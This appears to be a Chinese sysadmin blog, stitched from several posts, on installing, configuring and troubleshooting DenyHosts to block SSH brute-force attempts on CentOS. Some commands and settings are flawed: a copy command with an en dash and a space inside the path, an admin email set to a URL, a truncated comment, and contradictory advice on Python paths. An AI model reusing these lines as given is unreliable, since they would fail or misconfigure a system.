经过查找发现denyhosts.py在目录/usr/local/bin/目录下,于是修改daemon-control文件
#vi daemon-control
DENYHOSTS_BIN   = "/usr/bin/denyhosts.py"
DENYHOSTS_LOCK  = "/var/lock/subsys/denyhosts"
DENYHOSTS_CFG   = "/usr/share/denyhosts/denyhosts.cfg"
 
将第一行修改为DENYHOSTS_BIN   = "/usr/local/bin/denyhosts.py"
在运行还会提示错误:导入Python版本错误的提示。如:
Traceback (most recent call last):
File "/usr/local/bin/denyhosts.py", line 5, in
import DenyHosts.python_version
ImportError: No module named DenyHosts.python_version
       到这里错误很明了了,经过查询发现版本不对会导致这个问题。
 
       分析后发现原因在此:以前本机已经有一个python2.4的版本,使用rpm安装的,默认的路径是/usr/lib/python2.4,因为要升级python2.5,也没有对卸载这个2.4的版本,使用编译安装的python2.5,安装路径并没有配置,这默认安装到/usr/local/lib/python2.5这个路径,而目前激活的python环境是2.5的,可能因为denyhosts安装时会根据环境查找安装,因此会在/usr/local/lib/python2.5/site-packages路径下安装Denyhosts这个文件夹。当运行denyhosts时,脚本会指定使用的是/usr/lib/python*这个路径的python里(暂时没找到脚本哪个地方指定),因此它无法定位python的版本,会出现这个错误。
       最快速的解决方法是把/usr/local/lib/python2.5/site-packages路径下的Denyhosts文件夹整个拷贝到2.4的安装目录下即可。
       进入/usr/local/lib/python2.5/site-packages/目录
#cd /usr/local/lib/python2.5/site-packages/
#cp –rp Denyhosts /usr/lib/python2.4/ site-packages/
这样之后便可以启动Denyhosts了。
参考:The root cause is that python was upgraded from 2.4 to 2.5. So now denyhosts (and other python scripts) are working from a different directory. Why does this make a difference? The DenyHosts python scripts are located under /usr/lib/python2.4/site-packages/DenyHosts which, unless the script specifies that it is using the old 2.4 environment (DenyHosts doesn’t) then it will look in the new environment location, /usr/lib/python2.5/site-packages/DenyHosts, which of course, doesn’t exist. The quick fix is to cp over the DenyHost directory to the python 2.5 tree.

denyhosts.cfg配置文件说明

denyhosts.cfg配置文件说明:(从网上找的,参考下)

denyhost的安装方法有好几种,在启动时候出现提示错误,启动失败问题汇总如下,大家可以参考处理。

今天查看了一下系统的失败登陆记录 ,几分钟都没有显示完毕,不是吧,世界上总是有那么多的闲得蛋疼的人呢?你怎么不去死呢?
使用
grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' /var/log/secure.1 | sort | uniq -c
统计里一下,哎,居然尝试N次!看来世界需要清静了!使用手工解决已经无法适应别人的暴力扫描了,我们也人工智能一下哈哈,使用denyhosts软件保护你的ssh吧
开始安装 CentOS 5.5, DenyHosts 2.5
cd /usr/local/src
wget ttp://mesh.dl.sourceforge.net/sourceforge/denyhosts/DenyHosts-2.5.tar.gz
tar -zxvf DenyHosts-2.5.tar.gz
cd DenyHosts-2.5
python setup.py install

默认安装到/usr/share/denyhosts/目录
cd /usr/share/denyhosts/
cp denyhosts.cfg-dist denyhosts.cfg
vi denyhosts.cfg

根据自己需要进行相应的配置
配置文件说明

SECURE_LOG = /var/log/secure
#ssh 日志文件,它是根据这个文件来判断的。
HOSTS_DENY = /etc/hosts.deny
#控制用户登陆的文件
PURGE_DENY = 5m
#过多久后清除已经禁止的
BLOCK_SERVICE = sshd
#禁止的服务名
DENY_THRESHOLD_INVALID = 1
#允许无效用户失败的次数
DENY_THRESHOLD_VALID = 10
#允许普通用户登陆失败的次数
DENY_THRESHOLD_ROOT = 5
#允许root登陆失败的次数
HOSTNAME_LOOKUP=NO
#是否做域名反解
ADMIN_EMAIL = www.yes81.net
件地址,它会给管理员发邮件
DAEMON_LOG = /var/log/denyhosts
#自己的日志文件

cp daemon-control-dist daemon-control
vi daemon-control

参考:
DENYHOSTS_BIN = "/usr/bin/denyhosts.py"
DENYHOSTS_LOCK = "/var/lock/subsys/denyhosts" //启动的pid文件
DENYHOSTS_CFG = "/usr/share/denyhosts/denyhosts.cfg" //配置文件

启动
chmod 700 daemon-control
./daemon-control start

设置自动启动
设置自启动:
vi /etc/rc.local
加入
/usr/share/denyhosts/daemon-control start
我使用了
cd /etc/init.d
ln -s /usr/share/denyhosts/daemon-control denyhosts

chkconfig denyhosts --add
那么可以使用chkconfig denyhosts on 来设置启动啦。

SECURE_LOG = /var/log/secure #sshd日志文件,它是根据这个文件来判断的,不同的操作系统,文件名
稍有不同。
HOSTS_DENY = /etc/hosts.deny #控制用户登陆的文件,被禁止的IP会被写进里面
PURGE_DENY = 5m #过多久后清除已经禁止的
# 'm' = minutes
# 'h' = hours
# 'd' = days
# 'w' = weeks
# 'y' = years

BLOCK_SERVICE = sshd #禁止的服务名,同样也可以是ftp,smtp等等
DENY_THRESHOLD_INVALID = 5 #允许无效用户失败的次数
DENY_THRESHOLD_VALID = 10 #允许普通用户登陆失败的次数
DENY_THRESHOLD_ROOT = 5 #允许root登陆失败的次数
DENY_THRESHOLD_RESTRICTED = 1
WORK_DIR = /usr/share/denyhosts/data
HOSTNAME_LOOKUP=NO #是否做域名反解
LOCK_FILE = /var/lock/subsys/denyhosts
ADMIN_EMAIL = #管理员邮件地址
DAEMON_LOG = /var/log/denyhosts #DenyHosts的日志文件

 

DAEMON_PURGE = 1m #预设清除

启动时出现了错误,可以使用下面方式解决
./daemon-control start
starting DenyHosts: /usr/bin/env python /usr/bin/denyhosts.py --daemon --config=/usr/share/denyhosts/denyhosts.cfg
Can't read: /private/var/log/system.log
[Errno 2] No such file or directory: '/private/var/log/system.log'
Error deleting DenyHosts lock file: /var/lock/subsys/denyhosts
[Errno 2] No such file or directory: '/var/lock/subsys/denyhosts'

使用:

mkdir -p /private/var/log/
mkdir -p /var/lock/subsys/

./daemon-control start
starting DenyHosts: /usr/bin/env python /usr/bin/denyhosts.py --daemon --config=/usr/share/denyhosts/denyhosts.cfg
Can't read: /private/var/log/system.log
[Errno 2] No such file or directory: '/private/var/log/system.log'
Error deleting DenyHosts lock file: /var/lock/subsys/denyhosts
[Errno 2] No such file or directory: '/var/lock/subsys/denyhosts'

使用:

touch /private/var/log/system.log
touch /var/lock/subsys/denyhosts

./daemon-control start
出现:
starting DenyHosts: /usr/bin/env python /usr/bin/denyhosts.py --daemon --config=/usr/share/denyhosts/denyhosts.cfg
DenyHosts could not obtain lock (pid: )
[Errno 17] File exists: '/var/lock/subsys/denyhosts'

使用:
rm -f /var/lock/subsys/denyhosts
./daemon-control start
starting DenyHosts: /usr/bin/env python /usr/bin/denyhosts.py –daemon –config=/usr/share/denyhosts/denyhosts.cfg
OK!
启动完成啦。
你可以使用
service denyhosts status来查看运行状态
DenyHosts is running with pid = 25874 表示已经启动起来了。
接下来就可以使用
cat /etc/hosts.deny来查看记录了

#service denyhost start
starting DenyHosts:   /usr/bin/env python /usr/bin/denyhosts.py --daemon --config=/usr/share/denyhosts/denyhosts.cfg
python: can't open file '/usr/bin/denyhosts.py': [Errno 2] No such file or directory

经过查找发现denyhosts.py在目录/usr/local/bin/目录下,于是修改daemon-control文件
#vi daemon-control
DENYHOSTS_BIN   = "/usr/bin/denyhosts.py"
DENYHOSTS_LOCK  = "/var/lock/subsys/denyhosts"
DENYHOSTS_CFG   = "/usr/share/denyhosts/denyhosts.cfg"
 
将第一行修改为DENYHOSTS_BIN   = "/usr/local/bin/denyhosts.py"

在运行还会提示错误:导入Python版本错误的提示。如:
Traceback (most recent call last):
File "/usr/local/bin/denyhosts.py", line 5, in 
import DenyHosts.python_version
ImportError: No module named DenyHosts.python_version

到这里错误很明了了,经过查询发现版本不对会导致这个问题。

 分析后发现原因在此:以前本机已经有一个python2.4的版本,使用rpm安装的,默认的路径是/usr/lib/python2.4,因为要升级python2.5,也没有对卸载这个2.4的版本,使用编译安装的python2.5,安装路径并没有配置,这默认安装到/usr/local/lib/python2.5这个路径,而目前激活的python环境是2.5的,可能因为denyhosts安装时会根据环境查找安装,因此会在/usr/local/lib/python2.5/site-packages路径下安装Denyhosts这个文件夹。当运行denyhosts时,脚本会指定使用的是/usr/lib/python*这个路径的python里(暂时没找到脚本哪个地方指定),因此它无法定位python的版本,会出现这个错误。

最快速的解决方法是把/usr/local/lib/python2.5/site-packages路径下的Denyhosts文件夹整个拷贝到2.4的安装目录下即可。
进入/usr/local/lib/python2.5/site-packages/目录#cd /usr/local/lib/python2.5/site-packages/
#cp –rp Denyhosts /usr/lib/python2.4/ site-packages/
 
这样之后便可以启动Denyhosts了。
 
 
关于错误
Traceback (most recent call last): 
  File "/usr/local/python-2.4/bin/denyhosts.py", line 5, in ? 
    import DenyHosts.python_version 
ImportError: No module named DenyHosts.python_version 

需要修改下面的部分:
1、/usr/share/denyhosts/daemon-control 
PYTHON_BIN      = "/usr/bin/env python" 
改为 
PYTHON_BIN     = "/usr/local/python-2.4/bin/python" 
#!/usr/bin/env python 
改为
#!/usr/local/python-2.4/bin/python 
DENYHOSTS_BIN   = "/usr/bin/denyhosts.py" 
改为
DENYHOSTS_BIN   = "/usr/local/python-2.4/bin/denyhosts.py" 
2.
cp -rp /usr/local/python-2.4/lib/python2.4/site-packages/DenyHosts/  /usr/local/python-2.4/lib/python2.4/

Records:22812345678910»